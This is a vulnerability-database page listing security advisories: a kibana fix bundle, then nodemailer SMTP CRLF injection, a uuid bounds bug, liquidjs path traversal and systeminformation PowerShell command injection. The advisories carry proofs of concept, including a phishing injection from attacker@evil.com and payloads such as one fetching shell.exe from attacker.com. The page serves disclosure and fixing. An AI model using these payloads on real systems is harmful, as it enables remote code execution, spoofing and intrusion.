Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:36
Summary
Security fixes in kibana 9.3.2-r3
Details
Package kibana version 9.3.2-r3 fixes 45 vulnerabilities: ghsa-2w6w-674q-4c4q, ghsa-xq3m-2v4x-88gg, ghsa-pf86-5x62-jrwf, ghsa-6chq-wfr3-2hj9, ghsa-v9p9-hfj2-hcw8...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "kibana"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.3.2-r3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"9.3.2-r3"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package kibana version 9.3.2-r3 fixes 45 vulnerabilities: ghsa-2w6w-674q-4c4q, ghsa-xq3m-2v4x-88gg, ghsa-pf86-5x62-jrwf, ghsa-6chq-wfr3-2hj9, ghsa-v9p9-hfj2-hcw8...",
"id": "CLEANSTART-2026-JY49884",
"modified": "2026-07-30T09:36:25Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elastic/kibana"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in kibana 9.3.2-r3",
"upstream": [
"ghsa-2w6w-674q-4c4q",
"ghsa-xq3m-2v4x-88gg",
"ghsa-pf86-5x62-jrwf",
"ghsa-6chq-wfr3-2hj9",
"ghsa-v9p9-hfj2-hcw8",
"ghsa-f269-vfmq-vjvj",
"ghsa-vrm6-8vpv-qv8q",
"ghsa-jvwf-75h9-cwgg",
"ghsa-75px-5xx7-5xc7",
"ghsa-66ff-xgx4-vchm",
"ghsa-685m-2w69-288q",
"ghsa-5m6q-g25r-mvwx",
"ghsa-ppp5-5v6c-4jwp",
"ghsa-q67f-28xg-22rw",
"ghsa-2328-f5f3-gj25",
"ghsa-r5fr-rjxr-66jc",
"ghsa-wphj-fx3q-84ch",
"ghsa-9c88-49p5-5ggf",
"ghsa-5vv4-hvf7-2h46",
"ghsa-hvx9-hwr7-wjj9",
"ghsa-chqc-8p9q-pq6q",
"ghsa-rpmf-866q-6p89",
"ghsa-rp42-5vxx-qpwr",
"ghsa-6v7q-wjvx-w8wg",
"ghsa-56p5-8mhr-2fph",
"ghsa-4rc3-7j7w-m548",
"ghsa-wmfp-5q7x-987x",
"ghsa-q3j6-qgpj-74h6",
"ghsa-v39h-62p7-jpjc",
"ghsa-8gc5-j5rx-235r",
"ghsa-jp2q-39xq-3w4g",
"ghsa-3644-q5cj-c5c7",
"ghsa-r399-636x-v7f6",
"ghsa-j3q9-mxjg-w52f",
"ghsa-jg4p-7fhp-p32p",
"ghsa-q7rr-3cgh-j5r3",
"ghsa-c2c7-rcm5-vvqj",
"ghsa-3v7f-55p6-f55p",
"ghsa-v2v4-37r5-5v8g",
"ghsa-48c2-rrv3-qjmp",
"ghsa-w5hq-g745-h8pq",
"ghsa-378v-28hj-76wf",
"ghsa-f886-m6hf-6m8v",
"ghsa-vvjj-xcjg-gr5g",
"ghsa-r4q5-vmmm-2653"
]
}
GHSA-VVJJ-XCJG-GR5G
Vulnerability from github – Published: 2026-04-08 15:05 – Updated: 2026-04-08 15:05
VLAI
Summary
Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)
Details
Summary
Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.
Details
The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:
// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();
// line 1336
this._sendCommand('EHLO ' + this.name);
The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):
this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));
If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.
This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.
The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.
PoC
const nodemailer = require('nodemailer');
const net = require('net');
// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
socket.write('220 test ESMTP\r\n');
socket.on('data', data => {
const lines = data.toString().split('\r\n').filter(l => l);
lines.forEach(line => {
console.log('SMTP CMD:', line);
if (line.startsWith('EHLO') || line.startsWith('HELO'))
socket.write('250 OK\r\n');
else if (line.startsWith('MAIL FROM'))
socket.write('250 OK\r\n');
else if (line.startsWith('RCPT TO'))
socket.write('250 OK\r\n');
else if (line === 'DATA')
socket.write('354 Go\r\n');
else if (line === '.')
socket.write('250 OK\r\n');
else if (line === 'QUIT')
{ socket.write('221 Bye\r\n'); socket.end(); }
else if (line === 'RSET')
socket.write('250 OK\r\n');
});
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
// Inject a complete phishing email via EHLO name
const transport = nodemailer.createTransport({
host: '127.0.0.1',
port: port,
secure: false,
name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
+ 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
+ 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
+ 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
});
transport.sendMail({
from: 'legit@example.com',
to: 'legit-recipient@example.com',
subject: 'Normal email',
text: 'Normal content'
}, () => { server.close(); process.exit(0); });
});
Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.
Impact
Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:
- Multi-tenant SaaS platforms with per-tenant SMTP configuration
- Admin panels where SMTP hostname/name settings are stored in databases
- Applications loading SMTP config from environment variables or external sources
What can an attacker do: 1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands 2. Spoof email senders by injecting arbitrary From headers in the DATA portion 3. Conduct phishing attacks using the legitimate SMTP server as a relay 4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO 5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN
The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.
Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:
this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');
Severity
4.9 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.4"
},
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T15:05:20Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nNodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\\r\\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.\n\n### Details\n\nThe vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command:\n\n```javascript\n// lib/smtp-connection/index.js, line 71\nthis.name = this.options.name || this._getHostname();\n\n// line 1336\nthis._sendCommand(\u0027EHLO \u0027 + this.name);\n```\n\nThe `_sendCommand` method writes the string directly to the socket followed by `\\r\\n` (line 1082):\n\n```javascript\nthis._socket.write(Buffer.from(str + \u0027\\r\\n\u0027, \u0027utf-8\u0027));\n```\n\nIf the `name` option contains `\\r\\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\\r\\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever.\n\nThis is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.\n\nThe `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.\n\n### PoC\n\n```javascript\nconst nodemailer = require(\u0027nodemailer\u0027);\nconst net = require(\u0027net\u0027);\n\n// Simple SMTP server to observe injected commands\nconst server = net.createServer(socket =\u003e {\n socket.write(\u0027220 test ESMTP\\r\\n\u0027);\n socket.on(\u0027data\u0027, data =\u003e {\n const lines = data.toString().split(\u0027\\r\\n\u0027).filter(l =\u003e l);\n lines.forEach(line =\u003e {\n console.log(\u0027SMTP CMD:\u0027, line);\n if (line.startsWith(\u0027EHLO\u0027) || line.startsWith(\u0027HELO\u0027))\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027MAIL FROM\u0027))\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027RCPT TO\u0027))\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line === \u0027DATA\u0027)\n socket.write(\u0027354 Go\\r\\n\u0027);\n else if (line === \u0027.\u0027)\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line === \u0027QUIT\u0027)\n { socket.write(\u0027221 Bye\\r\\n\u0027); socket.end(); }\n else if (line === \u0027RSET\u0027)\n socket.write(\u0027250 OK\\r\\n\u0027);\n });\n });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n const port = server.address().port;\n\n // Inject a complete phishing email via EHLO name\n const transport = nodemailer.createTransport({\n host: \u0027127.0.0.1\u0027,\n port: port,\n secure: false,\n name: \u0027legit.host\\r\\nMAIL FROM:\u003cattacker@evil.com\u003e\\r\\n\u0027\n + \u0027RCPT TO:\u003cvictim@target.com\u003e\\r\\nDATA\\r\\n\u0027\n + \u0027From: ceo@company.com\\r\\nTo: victim@target.com\\r\\n\u0027\n + \u0027Subject: Urgent\\r\\n\\r\\nPhishing content\\r\\n.\\r\\nRSET\u0027\n });\n\n transport.sendMail({\n from: \u0027legit@example.com\u0027,\n to: \u0027legit-recipient@example.com\u0027,\n subject: \u0027Normal email\u0027,\n text: \u0027Normal content\u0027\n }, () =\u003e { server.close(); process.exit(0); });\n});\n```\n\nRunning this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.\n\n### Impact\n\n**Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes:\n- Multi-tenant SaaS platforms with per-tenant SMTP configuration\n- Admin panels where SMTP hostname/name settings are stored in databases\n- Applications loading SMTP config from environment variables or external sources\n\n**What can an attacker do:**\n1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands\n2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion\n3. **Conduct phishing attacks** using the legitimate SMTP server as a relay\n4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application\u0027s intended MAIL FROM/RCPT TO\n5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN\n\nThe injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server\u0027s trust context.\n\n**Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example:\n\n```javascript\nthis.name = (this.options.name || this._getHostname()).replace(/[\\r\\n]/g, \u0027\u0027);\n```",
"id": "GHSA-vvjj-xcjg-gr5g",
"modified": "2026-04-08T15:05:20Z",
"published": "2026-04-08T15:05:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) "
}
GHSA-W5HQ-G745-H8PQ
Vulnerability from github – Published: 2026-04-22 20:53 – Updated: 2026-05-21 18:25
VLAI
Summary
uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided
Details
Summary
The v3(), v5(), and v6() API methods (not uuid release versions) accept external output buffers but do not reject out-of-range writes (small buf or large offset).
By contrast, v4(), v1(), and v7() API methods explicitly throw RangeError on invalid bounds.
This inconsistency allows silent partial writes into caller-provided buffers.
Affected code
src/v35.ts(v3()/v5()path) writesbuf[offset + i]without bounds validation.src/v6.tswritesbuf[offset + i]without bounds validation.
Reproducible PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4()',()=>v4({},new Uint8Array(8),4)],
['v5()',()=>v5('x',ns,new Uint8Array(8),4)],
['v6()',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Observed:
v4() THREW RangeErrorv5() NO_THROWv6() NO_THROW
Example partial overwrite evidence captured during audit:
same true buf [
170, 170, 170, 170,
75, 224, 100, 63
]
v6 [
187, 187, 187, 187,
31, 19, 185, 64
]
Security impact
- Primary: integrity/robustness issue (silent partial output).
- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.
- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.
Suggested fix
Add the same guard used by v4()/v1()/v7():
if (offset < 0 || offset + 16 > buf.length) {
throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);
}
Apply to:
src/v35.ts(coversv3()andv5())src/v6.ts
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "uuid"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "uuid"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "uuid"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41907"
],
"database_specific": {
"cwe_ids": [
"CWE-1285",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T20:53:24Z",
"nvd_published_at": "2026-04-24T19:17:14Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). \nBy contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.\n\nThis inconsistency allows **silent partial writes** into caller-provided buffers.\n\n\n### Affected code\n\n- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.\n- `src/v6.ts` writes `buf[offset + i]` without bounds validation.\n\n### Reproducible PoC\n\n```bash\ncd /home/StrawHat/uuid\nnpm ci\nnpm run build\n\nnode --input-type=module -e \"\nimport {v4,v5,v6} from \u0027./dist-node/index.js\u0027;\nconst ns=\u00276ba7b810-9dad-11d1-80b4-00c04fd430c8\u0027;\nfor (const [name,fn] of [\n [\u0027v4()\u0027,()=\u003ev4({},new Uint8Array(8),4)],\n [\u0027v5()\u0027,()=\u003ev5(\u0027x\u0027,ns,new Uint8Array(8),4)],\n [\u0027v6()\u0027,()=\u003ev6({},new Uint8Array(8),4)],\n]) {\n try { fn(); console.log(name,\u0027NO_THROW\u0027); }\n catch(e){ console.log(name,\u0027THREW\u0027,e.name); }\n}\"\n```\n\nObserved:\n\n- `v4() THREW RangeError`\n- `v5() NO_THROW`\n- `v6() NO_THROW`\n\nExample partial overwrite evidence captured during audit:\n\n```text\nsame true buf [\n 170, 170, 170, 170,\n 75, 224, 100, 63\n]\nv6 [\n 187, 187, 187, 187,\n 31, 19, 185, 64\n]\n```\n\n### Security impact\n\n- **Primary**: integrity/robustness issue (silent partial output).\n- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.\n- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.\n\n### Suggested fix\n\nAdd the same guard used by `v4()`/`v1()`/`v7()`:\n\n```ts\nif (offset \u003c 0 || offset + 16 \u003e buf.length) {\n throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);\n}\n```\n\nApply to:\n\n- `src/v35.ts` (covers `v3()` and `v5()`)\n- `src/v6.ts`",
"id": "GHSA-w5hq-g745-h8pq",
"modified": "2026-05-21T18:25:56Z",
"published": "2026-04-22T20:53:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41907"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a"
},
{
"type": "PACKAGE",
"url": "https://github.com/uuidjs/uuid"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/releases/tag/v11.1.1"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/releases/tag/v12.0.1"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/releases/tag/v13.0.1"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/releases/tag/v14.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided"
}
GHSA-WMFP-5Q7X-987X
Vulnerability from github – Published: 2026-03-10 01:04 – Updated: 2026-03-12 14:25
VLAI
Summary
liquidjs has a path traversal fallback vulnerability
Details
Impact
The layout, render, and include tags allow arbitrary file access via absolute paths (either as string literals or through Liquid variables, the latter require dynamicPartials: true, which is the default). This poses a security risk when malicious users are allowed to control the template content or specify the filepath to be included as a Liquid variable.
Patches
The root cause is LiquidJS allows require.resolve() as fallback but doesn't limit the directories it can resolve to. The issue is fixed via #855 and published version 10.25.0 on npm.
Workarounds
Change the files in build time
In build time, through Shell script or Webpack string-replace-loader, change the file content of correxponding file (depending on your package type, for CommonJS it's dist/liquid.node.js) under dist/,
if (fs.fallback !== undefined) {
const filepath = fs.fallback(file)
- if (filepath !== undefined) yield filepath
+ if (filepath !== undefined) {
+ for (const dir of dirs) {
+ if (!enforceRoot || this.contains(dir, filepath)) {
+ yield filepath
+ break
+ }
+ }
}
}
Overriding by fs LiquidJS option
Adding a fs option to override the default fs implementation:
const { statSync, readFileSync, promises: { stat, readFile } } = require('fs')
const { resolve, extname, dirname, sep } = require('path')
const fs = {
exists: async (fp) => { try { await stat(fp); return true; } catch { return false } },
existsSync: (fp) => { try { statSync(fp); return true } catch { return false } },
resolve: (root, file, ext) => resolve(root, file + (extname(file) ? '' : ext)),
contains: (root, file) => {
const r = resolve(root)
return file.startsWith(r.endsWith(sep) ? r : r + sep)
},
readFile: (fp) => readFile(fp, 'utf8'),
readFileSync: (fp) => readFileSync(fp, 'utf8'),
fallback: () => undefined,
dirname,
sep
};
const engine = new Liquid({ fs })
References
Discussions: https://github.com/harttle/liquidjs/pull/851 Code fix: https://github.com/harttle/liquidjs/pull/855
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "liquidjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30952"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T01:04:34Z",
"nvd_published_at": "2026-03-10T21:16:48Z",
"severity": "HIGH"
},
"details": "### Impact\nThe `layout`, `render`, and `include` tags allow arbitrary file access via absolute paths (either as string literals or through Liquid variables, the latter require `dynamicPartials: true`, which is the default). This poses a security risk when malicious users are allowed to control the template content or specify the filepath to be included as a Liquid variable.\n\n### Patches\nThe root cause is LiquidJS allows `require.resolve()` as fallback but doesn\u0027t limit the directories it can resolve to. The issue is fixed via [#855](https://github.com/harttle/liquidjs/pull/855) and published version 10.25.0 on npm.\n\n### Workarounds\n#### Change the files in build time\nIn build time, through Shell script or Webpack `string-replace-loader`, change the file content of correxponding file (depending on your package `type`, for CommonJS it\u0027s `dist/liquid.node.js`) under `dist/`, \n\n```diff\n if (fs.fallback !== undefined) {\n const filepath = fs.fallback(file)\n- if (filepath !== undefined) yield filepath\n+ if (filepath !== undefined) {\n+ for (const dir of dirs) {\n+ if (!enforceRoot || this.contains(dir, filepath)) {\n+ yield filepath\n+ break\n+ }\n+ }\n }\n }\n```\n\n#### Overriding by `fs` LiquidJS option\nAdding a [`fs` option](https://liquidjs.com/api/interfaces/FS.html) to override the [default `fs` implementation](https://github.com/harttle/liquidjs/blob/1b85fdaa9c535021f7030a239a64003af26d31b5/src/fs/fs-impl.ts#L36-L40):\n\n```javascript\nconst { statSync, readFileSync, promises: { stat, readFile } } = require(\u0027fs\u0027)\nconst { resolve, extname, dirname, sep } = require(\u0027path\u0027)\n\nconst fs = {\n exists: async (fp) =\u003e { try { await stat(fp); return true; } catch { return false } },\n existsSync: (fp) =\u003e { try { statSync(fp); return true } catch { return false } },\n resolve: (root, file, ext) =\u003e resolve(root, file + (extname(file) ? \u0027\u0027 : ext)),\n contains: (root, file) =\u003e {\n const r = resolve(root)\n return file.startsWith(r.endsWith(sep) ? r : r + sep)\n },\n readFile: (fp) =\u003e readFile(fp, \u0027utf8\u0027),\n readFileSync: (fp) =\u003e readFileSync(fp, \u0027utf8\u0027),\n fallback: () =\u003e undefined,\n dirname,\n sep\n};\n\nconst engine = new Liquid({ fs })\n```\n\n### References\nDiscussions: https://github.com/harttle/liquidjs/pull/851\nCode fix: https://github.com/harttle/liquidjs/pull/855",
"id": "GHSA-wmfp-5q7x-987x",
"modified": "2026-03-12T14:25:23Z",
"published": "2026-03-10T01:04:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-wmfp-5q7x-987x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30952"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/pull/851"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/pull/855"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/commit/3cd024d652dc883c46307581e979fe32302adbac"
},
{
"type": "PACKAGE",
"url": "https://github.com/harttle/liquidjs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "liquidjs has a path traversal fallback vulnerability"
}
GHSA-WPHJ-FX3Q-84CH
Vulnerability from github – Published: 2025-12-16 22:37 – Updated: 2025-12-16 22:37
VLAI
Summary
systeminformation has a Command Injection vulnerability in fsSize() function on Windows
Details
Summary
The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.
Affected Platforms: Windows only
CVSS Breakdown:
- Attack Vector (AV:N): Network - if used in a web application/API
- Attack Complexity (AC:H): High - requires application to pass user input to fsSize()
- Privileges Required (PR:N): None - no authentication required at library level
- User Interaction (UI:N): None
- Scope (S:U): Unchanged - executes within Node.js process context
- Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited
Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to
fsSize(), it is not vulnerable.
Details
Vulnerable Code Location
File: lib/filesystem.js, Line 197
if (_windows) {
try {
const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
util.powerShell(cmd).then((stdout, error) => {
The drive parameter is concatenated directly into the PowerShell command string without any sanitization.
Why This Is a Vulnerability
This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():
| File | Line | Function | Sanitization |
|---|---|---|---|
lib/processes.js |
141 | services() |
✅ util.sanitizeShellString(srv) |
lib/processes.js |
1006 | processLoad() |
✅ util.sanitizeShellString(proc) |
lib/network.js |
1253 | networkStats() |
✅ util.sanitizeShellString(iface) |
lib/docker.js |
472 | dockerContainerStats() |
✅ util.sanitizeShellString(containerIDs, true) |
lib/filesystem.js |
197 | fsSize() |
❌ No sanitization |
The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection.
PoC
Attack Scenario
An application exposes disk information via an API and passes user input to si.fsSize():
// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');
http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
const drive = parsedUrl.query.drive; // User-controlled input
// VULNERABLE: User input passed directly to fsSize()
const diskInfo = await si.fsSize(drive);
res.end(JSON.stringify(diskInfo));
}).listen(3000);
Exploitation
Normal Request:
GET /api/disk?drive=C:
Malicious Request (Command Injection):
GET /api/disk?drive=C:;%20whoami%20%23
Command Construction Demonstration
The following demonstrates how commands are constructed with malicious input:
Normal usage:
Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
With injection payload C:; whoami #:
Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
↑ ↑
semicolon terminates # comments out rest
first command
PowerShell will execute:
1. Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C: (original command)
2. whoami (injected command)
3. Everything after # is commented out
PoC Script
/**
* Command Injection PoC - systeminformation fsSize()
*
* Run with: node poc.js
* Requires: npm install systeminformation
*/
const os = require('os');
// Simulates the vulnerable command construction from filesystem.js:197
function simulateVulnerableCommand(drive) {
const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
return cmd;
}
// Test payloads
const payloads = [
{ name: 'Normal', input: 'C:' },
{ name: 'Command Execution', input: 'C:; whoami #' },
{ name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' },
{ name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' },
];
console.log('=== Command Injection PoC ===\n');
console.log(`Platform: ${os.platform()}`);
console.log(`Note: Actual exploitation requires Windows\n`);
payloads.forEach(p => {
console.log(`[${p.name}]`);
console.log(` Input: ${p.input}`);
console.log(` Command: ${simulateVulnerableCommand(p.input)}\n`);
});
PoC Output
=== Command Injection PoC ===
Platform: win32
Note: Actual exploitation requires Windows
[Normal]
Input: C:
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl
[Command Execution]
Input: C:; whoami #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
[Data Exfiltration]
Input: C:; Get-Process | Out-File C:\temp\procs.txt #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl
[Remote Payload]
